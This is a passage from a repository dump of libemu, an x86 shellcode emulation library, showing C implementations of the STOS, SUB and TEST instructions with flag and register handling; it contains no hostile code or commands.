Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n\n\nint32_t instr_stos_aa(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* AA\n\t * Store AL at address ES:(E)DI\n\t * STOS m8  \n\t */\n\n\t/* AA \n\t * Store AL at address ES:(E)DI\n\t * STOSB    \n\t */\n\n\tif ( i->prefixes & PREFIX_ADSIZE )\n\t{\n//\t\tMEM_BYTE_WRITE(c,c->reg16[si],*c->reg8[al]);\n\t\tUNIMPLEMENTED(c, SST);\n\t}\n\telse\n\t{\n\t\tif (i->prefixes & PREFIX_F3)\n\t\t{\n\t\t\t/* F3 AA \n\t\t\t * Fill ECX bytes at ES:[EDI] with AL\n\t\t\t * REP STOS m8        \n\t\t\t */\n\n\n\t\t\tif (c->reg[ecx] > 0 )\n\t\t\t{\n\t\t\t\tc->reg[ecx]--;\n\t\t\t\tc->repeat_current_instr = true;\n\t\t\t\tMEM_BYTE_WRITE(c,c->reg[edi],*c->reg8[al]);\n\t\t\t\tif ( !CPU_FLAG_ISSET(c,f_df) )\n\t\t\t\t{ /* increment */\n\t\t\t\t\tc->reg[edi] += 1;\n\t\t\t\t}else\n\t\t\t\t{ /* decrement */\n\t\t\t\t\tc->reg[edi] -= 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tc->repeat_current_instr = false;\n\n\t\t\t\n\t\t}else\n\t\t{\n\t\t\tMEM_BYTE_WRITE(c,c->reg[edi],*c->reg8[al]);\n\t\t\tif ( !CPU_FLAG_ISSET(c,f_df) )\n\t\t\t{ /* increment */\n\t\t\t\tc->reg[edi] += 1;\n\t\t\t}else\n\t\t\t{ /* decrement */\n\t\t\t\tc->reg[edi] -= 1;\n\t\t\t}\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_stos_ab(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* AB\n\t\t * Store AX at address ES:(E)DI\n\t\t * STOS m16 \n\t\t */\n\n\t\t/* AB \n\t\t * Store AX at address ES:(E)DI\n\t\t * STOSW    \n\t\t */\n\t\tif ( i->prefixes & PREFIX_ADSIZE )\n\t\t{\n//\t\t\tMEM_WORD_WRITE(c,c->reg16[si],*c->reg16[ax]);\n\t\t\tUNIMPLEMENTED(c, SST);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tMEM_WORD_WRITE(c,c->reg[edi],*c->reg16[ax]);\n\n\t\t\tif ( !CPU_FLAG_ISSET(c,f_df) )\n\t\t\t{ /* increment */\n\t\t\t\tc->reg[edi] += 2;\n\t\t\t}\n\t\t\telse\n\t\t\t{ /* decrement */\n\t\t\t\tc->reg[edi] -= 2;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* AB \n\t\t * Store EAX at address ES:(E)DI\n\t\t * STOS m32 \n\t\t */\n\n\t\t/* AB \n\t\t * Store EAX at address ES:(E)DI\n\t\t * STOSD    \n\t\t */\n\t\tif ( i->prefixes & PREFIX_ADSIZE )\n\t\t{\n//\t\t\tMEM_DWORD_WRITE(c,c->reg16[si],c->reg[eax]);\n\t\t\tUNIMPLEMENTED(c, SST);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tMEM_DWORD_WRITE(c,c->reg[edi],c->reg[eax]);\n\n\t\t\tif ( !CPU_FLAG_ISSET(c,f_df) )\n\t\t\t{ /* increment */\n\t\t\t\tc->reg[edi] += 4;\n\t\t\t}\n\t\t\telse\n\t\t\t{ /* decrement */\n\t\t\t\tc->reg[edi] -= 4;\n\t\t\t}\n\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/sub.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n// FIXME replace the INSTR_CALC macro and verify the flags\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_CF(cpu, operation)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu, operation, bits)\t\t\t\t\t\t\t\t\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \n\n\n\nint32_t instr_sub_28(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/*\n\t * 28 /r\n\t * Subtract r8 from r/m8\n\t * SUB r/m8,r8 \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t -)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sub_29(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{      \n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 29 /r\n\t\t\t * Subtract r16 from r/m16\n\t\t\t * SUB r/m16,r16 \n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 29 /r\n\t\t\t * Subtract r32 from r/m32\n\t\t\t * SUB r/m32,r32 \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 29 /r\n\t\t\t * Subtract r16 from r/m16\n\t\t\t * SUB r/m16,r16 \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 29 /r\n\t\t\t * Subtract r32 from r/m32\n\t\t\t * SUB r/m32,r32 \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tif (i->modrm.opc == i->modrm.rm)\n\t\t\t{\n\t\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\t\t\t}else\n\t\t\t{\n\t\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.opc);\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sub_2a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t /* 2A /r\n\t  * Subtract r/m8 from r8\n\t  * SUB r8,r/m8 \n\t  */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t -)\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sub_2b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/*\n\t\t\t* 2B /r\n\t\t\t* Subtract r/m16 from r16\n\t\t\t* SUB r16,r/m16\n\t\t\t*/\n\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\t * 2B /r\n\t\t\t * Subtract r/m32 from r32\n\t\t\t * SUB r32,r/m32 \n\t\t\t */\n\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/*\n\t\t\t* 2B /r\n\t\t\t* Subtract r/m16 from r16\n\t\t\t* SUB r16,r/m16\n\t\t\t*/\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\t * 2B /r\n\t\t\t * Subtract r/m32 from r32\n\t\t\t * SUB r32,r/m32 \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tif ( i->modrm.opc == i->modrm.rm )\n\t\t\t{\n\t\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sub_2c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 2C ib\n\t * Subtract imm8 from AL\n     * SUB AL,imm8\n\t */\n\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t -)\n\treturn 0;\n}\n\nint32_t instr_sub_2d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{ \n\t\t/* 2D iw\n\t\t * Subtract imm16 from AX  \n\t\t * SUB AX,imm16\n\t\t */\n\t  \n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t -)\n\t}\n\telse\n\t{\n\t\t/* 2D id\n\t\t * Subtract imm32 from EAX\n\t\t * SUB EAX,imm32\n\t\t */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_sub(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t -)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_81_sub(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /5 iw \n\t\t\t * Subtract imm16 from r/m16\n\t\t\t * SUB r/m16,imm16 \n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /5 id \n\t\t\t * Subtract imm32 from r/m32\n\t\t\t * SUB r/m32,imm32 \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /5 iw \n\t\t\t * Subtract imm16 from r/m16\n\t\t\t * SUB r/m16,imm16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /5 id \n\t\t\t * Subtract imm32 from r/m32\n\t\t\t * SUB r/m32,imm32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_1_83_sub(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /5 ib \n\t\t\t * Subtract sign-extended imm8 from r/m16\n\t\t\t * SUB r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 83 /5 ib \n\t\t\t * Subtract sign-extended imm8 from r/m32\n\t\t\t * SUB r/m32,imm8\n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n \t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /5 ib \n\t\t\t * Subtract sign-extended imm8 from r/m16\n\t\t\t * SUB r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 83 /5 ib \n\t\t\t * Subtract sign-extended imm8 from r/m32\n\t\t\t * SUB r/m32,imm8\n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/test.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b) \\\nUINTOF(bits) operand_a = a; \\\nUINTOF(bits) operand_b = b; \\\nUINTOF(bits) operation_result = operand_a & operand_b;\t\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 728*/\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b)\t\\\nINSTR_CALC(bits, a, b)\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu,f_cf);\t\t\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu,f_of);\n\n\n\nint32_t instr_test_84(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3)\n\t{\n\t\t/* 84 /r    \n\t\t * AND r8 with r/m8; set SF, ZF, PF according to result\n\t\t * TEST r/m8,r8     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc],\n\t\t\t\t\t\t\t\t m8)\n\t}else\n\t{\n\t\t/* 84 /r    \n\t\t * AND r8 with r/m8; set SF, ZF, PF according to result\n\t\t * TEST r/m8,r8     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc],\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm])\n\t}\n\treturn 0;\n}\n\nint32_t instr_test_85(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3)\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 85 /r    \n\t\t\t * AND r16 with r/m16; set SF, ZF, PF according to result\n\t\t\t * TEST r/m16,r16   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc],\n\t\t\t\t\t\t\t\t\t m16)\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 85 /r    \n\t\t\t * AND r32 with r/m32; set SF, ZF, PF according to result\n\t\t\t * TEST r/m32,r32   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc],\n\t\t\t\t\t\t\t\t\t m32)\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 85 /r    \n\t\t\t * AND r16 with r/m16; set SF, ZF, PF according to result\n\t\t\t * TEST r/m16,r16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc],\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm])\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 85 /r    \n\t\t\t * AND r32 with r/m32; set SF, ZF, PF according to result\n\t\t\t * TEST r/m32,r32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc],\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm])\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_test_a8(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* A8 ib    \n\t * AND imm8 with AL; set SF, ZF, PF according to result      \n\t * TEST AL,imm8     \n\t */\n\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t *i->imm8,\n\t\t\t\t\t\t\t *c->reg8[al])\n\n\treturn 0;\n}\n\nint32_t instr_test_a9(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* A9 iw    \n\t\t * AND imm16 with AX; set SF, ZF, PF according to result     \n\t\t * TEST AX,imm16    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *i->imm16,\n\t\t\t\t\t\t\t\t *c->reg16[ax])\n\n\t}\n\telse\n\t{\n\t\t/* A9 id    \n\t\t * AND imm32 with EAX; set SF, ZF, PF according to result    \n\t\t * TEST EAX,imm32   \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t i->imm,\n\t\t\t\t\t\t\t\t c->reg[eax])\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_3_f6_test(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* F6 /0 ib \n\t\t * AND imm8 with r/m8; set SF, ZF, PF according to result\n\t\t * TEST r/m8,imm8   \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, 